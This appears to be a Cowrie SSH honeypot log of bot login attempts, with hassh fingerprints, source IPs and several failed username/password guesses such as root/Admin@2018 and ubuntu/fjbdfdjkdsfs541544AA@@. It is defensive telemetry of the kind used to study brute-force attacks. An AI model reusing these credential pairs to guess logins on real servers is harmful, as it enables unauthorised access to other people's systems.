{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:22.647605Z","src_ip":"109.237.96.109","session":"1b9d777957e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:22.769109Z","src_ip":"43.156.170.155","session":"332efb704450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anakin","message":"login attempt [root/anakin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:23.019486Z","src_ip":"109.237.96.109","session":"1b9d777957e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:23.783700Z","src_ip":"43.156.170.155","session":"332efb704450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:24.115886Z","src_ip":"109.237.96.109","session":"1b9d777957e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:25.032009Z","src_ip":"43.156.170.155","session":"332efb704450","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":50208,"dst_ip":"10.17.0.5","dst_port":22,"session":"1462dc5f9c44","protocol":"ssh","message":"New connection: 87.226.190.225:50208 (10.17.0.5:22) [session: 1462dc5f9c44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:38.482880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:38.490457Z","src_ip":"87.226.190.225","session":"1462dc5f9c44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:38.650075Z","src_ip":"87.226.190.225","session":"1462dc5f9c44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:39.317184Z","src_ip":"87.226.190.225","session":"1462dc5f9c44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:40.480056Z","src_ip":"87.226.190.225","session":"1462dc5f9c44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":33952,"dst_ip":"159.203.135.109","dst_port":22,"session":"69d695d10530","protocol":"ssh","message":"New connection: 176.147.144.172:33952 (159.203.135.109:22) [session: 69d695d10530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:40.719585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:40.724413Z","src_ip":"176.147.144.172","session":"69d695d10530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:40.821874Z","src_ip":"176.147.144.172","session":"69d695d10530","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evan","password":"evan","message":"login attempt [evan/evan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:41.235983Z","src_ip":"176.147.144.172","session":"69d695d10530","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:42.334707Z","src_ip":"176.147.144.172","session":"69d695d10530","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":47566,"dst_ip":"10.17.0.5","dst_port":22,"session":"76eb76b096f1","protocol":"ssh","message":"New connection: 4.227.177.11:47566 (10.17.0.5:22) [session: 76eb76b096f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:51.638506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:51.647315Z","src_ip":"4.227.177.11","session":"76eb76b096f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:51.658019Z","src_ip":"4.227.177.11","session":"76eb76b096f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@2018","message":"login attempt [root/Admin@2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:51.733784Z","src_ip":"4.227.177.11","session":"76eb76b096f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:52.746679Z","src_ip":"4.227.177.11","session":"76eb76b096f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":45815,"dst_ip":"10.17.0.5","dst_port":22,"session":"08a77833b6c8","protocol":"ssh","message":"New connection: 41.181.156.205:45815 (10.17.0.5:22) [session: 08a77833b6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:57.388113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:57.392905Z","src_ip":"41.181.156.205","session":"08a77833b6c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:57.640407Z","src_ip":"41.181.156.205","session":"08a77833b6c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888888","message":"login attempt [root/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:58.661256Z","src_ip":"41.181.156.205","session":"08a77833b6c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:43:59.912481Z","src_ip":"41.181.156.205","session":"08a77833b6c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":33066,"dst_ip":"159.203.135.109","dst_port":22,"session":"e12cc7197163","protocol":"ssh","message":"New connection: 137.184.228.138:33066 (159.203.135.109:22) [session: e12cc7197163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:03.146714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:03.156127Z","src_ip":"137.184.228.138","session":"e12cc7197163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:03.233146Z","src_ip":"137.184.228.138","session":"e12cc7197163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rana","password":"rana","message":"login attempt [rana/rana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:03.573324Z","src_ip":"137.184.228.138","session":"e12cc7197163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:04.654654Z","src_ip":"137.184.228.138","session":"e12cc7197163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":60458,"dst_ip":"159.203.135.109","dst_port":22,"session":"04c9395f75fb","protocol":"ssh","message":"New connection: 36.91.81.195:60458 (159.203.135.109:22) [session: 04c9395f75fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:07.079458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:07.084565Z","src_ip":"36.91.81.195","session":"04c9395f75fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:07.368068Z","src_ip":"36.91.81.195","session":"04c9395f75fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ck123456@","message":"login attempt [root/Ck123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:08.533286Z","src_ip":"36.91.81.195","session":"04c9395f75fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:09.820932Z","src_ip":"36.91.81.195","session":"04c9395f75fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":49212,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aef80e9734b","protocol":"ssh","message":"New connection: 87.226.190.225:49212 (10.17.0.5:22) [session: 7aef80e9734b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:55.960507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:55.966143Z","src_ip":"87.226.190.225","session":"7aef80e9734b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd3027e940fe","protocol":"ssh","message":"New connection: 176.147.144.172:50300 (159.203.135.109:22) [session: dd3027e940fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:56.092725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:56.097675Z","src_ip":"176.147.144.172","session":"dd3027e940fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:44:56.130119Z","src_ip":"87.226.190.225","session":"7aef80e9734b","protocol":"ssh"}
